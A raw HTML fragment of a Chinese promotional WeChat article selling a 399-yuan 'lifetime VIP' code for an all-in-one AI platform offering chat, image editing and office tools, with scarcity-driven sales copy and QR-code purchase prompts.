visible;"><span style="font-weight: bold;color: rgb(220, 155, 4);font-size: 16px;margin-bottom: 0px;visibility: visible;"><span style="visibility: visible;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(0, 0, 0);">399获取长期VIP资格，限量20人</span></span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><span data-pm-slice="0 0 []"><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span data-mpa-action-id="mmbridt31k0w" data-pm-slice="0 0 []" mpa-font-style="mmbridsu17sb" style="font-size: 16px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">因为咱们集成的功能实在太全太强，为了让大家明白这玩意儿到底有多香，咱们拆开来一个个唠：</span></span></span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;margin-bottom: 24px;"><span style="color: rgb(214, 168, 65);font-size: 16px;margin-bottom: 0px;"><strong style="margin-bottom: 0px;"><p style="margin-left: 0px;margin-right: 0px;margin-bottom: 24px;line-height: 1.6em;"><span style="font-size: 16px;margin-bottom: 0px;"><span style="margin-bottom: 0px;"><span data-mpa-action-id="mgl08cx86bh" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-left: 16px;margin-right: 16px;margin-bottom: 24px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-size: 16px;margin-bottom: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" mpa-font-style="mgl08cx21dhv" style="font-size: 20px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);font-weight: bold;">二、顶流模型AI对话，助你一臂之力</span></span></span></span></span></p></strong></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><span data-pm-slice="0 0 []"><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbrib0j1rlq" style="font-size: 16px;letter-spacing: 0.5px;font-weight: bold;"><span leaf="">玩AI的都知道，顶流的几家无非就是这三巨头。</span></span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><span mpa-font-style="mmbrib0j101t" style="font-size: 16px;"><span data-pm-slice="0 0 []" data-v-4e2afdbc=""><span style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">在我的AI平台里，这些对话模型不仅全部接入，而且全是</span></span></span></span><strong data-v-4e2afdbc="" data-v-af3ce037=""><span style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;font-weight: bold;">满血版</span></span></span></strong></span><span data-v-4e2afdbc=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbrib0jn9m" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf="">！只要官方有更新，我们基本第二天就能同步上线。</span></span></span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin-left: 16px;margin-right: 16px;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.5714285714285714" data-type="gif" data-w="1078" type="block" data-imgfileid="100003689" src="https://wechat2rss.xlab.app/img-proxy/?k=b47f6e2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FQWYz6XmYMgnL87eOgyQUt23xUTeG0ibkcdsWlX2aG8mh1evoBicZ8Fwg8JBticXOibw3dibPDeXfXlr1qicRhmdia2HEt4j1McByibrjnchd64F4jtc%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D1"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;"><span data-mpa-action-id="mmbrhycpelk" data-pm-slice="0 0 []" leaf="" mpa-font-style="mmbrhycgn3d" style="font-size: 16px;">人物模特一键换装，在这里轻松可以实现，是不是叼爆了。</span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: justify;margin: 0px 16px;line-height: 1.6em;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder" data-ratio="0.5907407407407408" data-s="300,640" data-type="jpeg" data-w="1080" style="height: auto !important;" type="block" data-imgfileid="100000106" src="https://wechat2rss.xlab.app/img-proxy/?k=0a8d8d35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_jpg%2FstTCiaoMolLibXWSQVe6xrgKRgMAQC9W8bPsg9IuBberYOSocIzpX3qttC3ur1kVGrANaKiaSVnkaDQfXI88fxpdQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg%23imgIndex%3D29"/></p><p data-pm-slice="0 0 []" style="font-style: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-variant-ligatures: normal;letter-spacing: 0.544px;orphans: 2;widows: 2;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-size: 16px;">看完之后是不是瞬间被惊艳到了！</span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;text-align: justify;"><span style="font-size: 16px;"><span leaf="">所以，之前想买却没抢到名额的朋友，</span><strong data-pm-slice="0 0 []"><span leaf="">这次真的别再犹豫了！</span></strong><span leaf="">只有20个名额，抢完即止<span textstyle="" style="font-size: 16px;">！</span></span></span></p><p data-pm-slice="6 4 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;text-align: center;margin-bottom: 0px;line-height: 1.6em;visibility: visible;"><span style="color: rgb(220, 155, 4);font-size: 16px;visibility: visible;"><strong style="visibility: visible;"><span data-mpa-action-id="mgkzvcnt1cbq" data-pm-slice="0 0 []" mpa-font-style="mgkzvcnftga" style="font-size: 15px;visibility: visible;"><span style="visibility: visible;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);">▼长按扫码购买授权码</span></span></span></span></strong></span></p><p data-mpa-action-id="mn2yxqdcaix" data-pm-slice="0 0 []" nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;padding: 0.5em;margin-bottom: 0px;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="400" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;width: 204px;height: 204px;" type="block" data-imgfileid="100004036" src="https://wechat2rss.xlab.app/img-proxy/?k=92293b57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQWYz6XmYMgkrQsFibKKZFA1suOyY59OSPBw9aUnxU2lhWf79lRb3ouVb5jkONjKeS2Kh37CF43N8cMiaCVzlQzOnSKwsgfIhYEgEgj707IjE8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;text-align: center;visibility: visible;"><span style="font-weight: bold;color: rgb(220, 155, 4);font-size: 16px;margin-bottom: 0px;visibility: visible;"><span style="visibility: visible;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(0, 0, 0);">399获取长期VIP资格，限量20人</span></span></span></span></p><p data-pm-slice="6 5 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;margin-bottom: 24px;line-height: 1.6em;"><span style="color: rgb(214, 168, 65);font-size: 16px;margin-bottom: 0px;"><strong style="margin-bottom: 0px;"><strong style="margin-bottom: 0px;font-size: 20px;"><span style="margin-bottom: 0px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);font-weight: bold;">三、价格粉碎机：399元=长期无限使用权益</span></span></span></strong><span style="margin-bottom: 0px;"><span leaf=""><br/></span></span></strong></span></p><p data-pm-slice="2 2 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;text-align: justify;margin-bottom: 0px;"><span leaf=""><span textstyle="" style="font-size: 16px;">用过各种AI工具的兄弟应该最明白，</span></span><strong><span leaf=""><span textstyle="" style="font-size: 16px;">智能对话 + 代码生成 + AI绘画 + 智能改图 + AI办公</span></span></strong><span leaf=""><span textstyle="" style="font-size: 16px;">这种全能套餐，外面随便订一两个工具，一个月的费用就远不止399了。</span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;text-align: justify;margin-bottom: 0px;"><span leaf=""><span textstyle="" style="font-size: 16px;">简单算笔账，假如你自己去分别开通这些功能：</span></span></p><ul style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;" class="list-paddingleft-1"><li><p style="text-align: justify;margin-bottom: 0px;"><span leaf=""><span textstyle="" style="font-size: 16px;">AI对话工具，一个月150块</span></span></p></li><li><p style="text-align: justify;margin-bottom: 0px;"><span leaf=""><span textstyle="" style="font-size: 16px;">AI编程工具，一个月150块</span></span></p></li><li><p style="margin-bottom: 0px;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 16px;">AI绘画工具，一个月200多块</span></span></p></li></ul><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 16px;">三个加起来，一个月就要500多，一年就是6000多块钱，简直离大谱！</span></span></p><p data-pm-slice="5 5 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;line-height: 1.6em;"><span style="font-size: 16px;"><strong data-mpa-action-id="mm2zmvb042g" data-pm-slice="0 0 []"><span data-pm-slice="0 0 []" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mm2zmqnt1fmt" style="font-size: 15px;"><span style="letter-spacing: 0.5px;color: rgb(0, 0, 0);"><span mpa-font-style="mm2zmvasy6d" style="font-size: 16px;"><span mpa-font-style="mmbrmam9iny"><span style="letter-spacing: 0.5px;font-weight: normal;"><span leaf="">而有了</span></span><span style="letter-spacing: 0.5px;color: rgb(255, 41, 65);font-weight: bold;"><span leaf="">我们这款AI</span></span></span></span><span mpa-font-style="mmbrmam91e8s" style="font-size: 16px;"><span data-pm-slice="0 0 []" style="margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: left;margin-top: 8px;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;font-family: mp-quote, system-ui, -apple-system, BlinkMacSystemFont, Arial, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">，</span></span></span></span><span style="margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;font-family: mp-quote, system-ui, -apple-system, BlinkMacSystemFont, Arial, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;font-weight: normal;">每年在AI工具的花费上再也不需要小万元了。</span></span></span></span></span></span></span></strong></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><span data-pm-slice="0 0 []" data-v-4e2afdbc="" mpa-font-style="mmbrmam9158t" style="font-size: 16px;"><span style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span data-pm-slice="0 0 []"><span data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: left;margin-top: 8px;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;font-family: mp-quote, system-ui, -apple-system, BlinkMacSystemFont, Arial, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(0, 0, 0);font-weight: bold;">仅需399</span></span></strong></span><strong style="margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;font-family: mp-quote, system-ui, -apple-system, BlinkMacSystemFont, Arial, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(0, 0, 0);font-weight: bold;">元不限量使用</span></span></strong></span></strong><span style="margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;font-family: mp-quote, system-ui, -apple-system, BlinkMacSystemFont, Arial, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(0, 0, 0);font-weight: bold;">，我们包你用到爽！</span></span></strong></span></span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><span data-pm-slice="0 0 []" data-v-4e2afdbc="" mpa-font-style="mmbrmam9fdy" style="font-size: 16px;"><span style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><p style="margin-bottom: 0px;margin-top: 0px;"><span data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);font-family: system-ui, -apple-system, BlinkMacSystemFont, Arial, sans-serif;text-align: left;line-height: 1.6em;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(216, 57, 49);font-weight: bold;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(255, 0, 0);text-decoration: none;">强悍的文字模型和多模态对话 + 顶配图片模型 + </span></span></span><span data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);font-family: system-ui, -apple-system, BlinkMacSystemFont, Arial, sans-serif;text-align: left;line-height: 1.6em;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(216, 57, 49);font-weight: bold;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(255, 0, 0);text-decoration: none;">逆天</span></span></span><span data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);font-family: system-ui, -apple-system, BlinkMacSystemFont, Arial, sans-serif;text-align: left;line-height: 1.6em;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(216, 57, 49);font-weight: bold;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(255, 0, 0);text-decoration: none;">的修图模型 + </span></span></span><span data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);font-family: system-ui, -apple-system, BlinkMacSystemFont, Arial, sans-serif;text-align: left;line-height: 1.6em;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(216, 57, 49);font-weight: bold;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(255, 0, 0);text-decoration: none;">史诗的全能文档解析</span></span></span><span data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);font-family: system-ui, -apple-system, BlinkMacSystemFont, Arial, sans-serif;text-align: left;line-height: 1.6em;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(216, 57, 49);font-weight: bold;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(255, 0, 0);text-decoration: none;"> + </span></span></span><span data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);font-family: system-ui, -apple-system, BlinkMacSystemFont, Arial, sans-serif;text-align: left;line-height: 1.6em;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(216, 57, 49);font-weight: bold;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(255, 0, 0);text-decoration: none;">一生成键PPT……</span></span></span><span data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(0, 0, 0);font-weight: bold;font-style: normal;text-decoration: none;">=</span><span textstyle="" style="letter-spacing: 0.5px;color: rgb(0, 0, 0);font-weight: bold;">399元，终身不限随意用</span></span></span></p></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><strong data-pm-slice="0 0 []" data-v-4e2afdbc="" data-v-af3ce037=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbrmam91ou2" style="font-size: 16px;letter-spacing: 0.5px;font-weight: bold;"><span leaf="">提别提醒：满20人立即关闭终身会员通道，绝不返场！</span></span></span></strong></p><p data-pm-slice="5 4 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;text-align: center;margin-bottom: 0px;line-height: 1.6em;"><span style="color: rgb(220, 155, 4);font-size: 16px;"><strong><span data-mpa-action-id="mgkzvcnt1cbq" data-pm-slice="0 0 []" mpa-font-style="mgkzvcnftga" 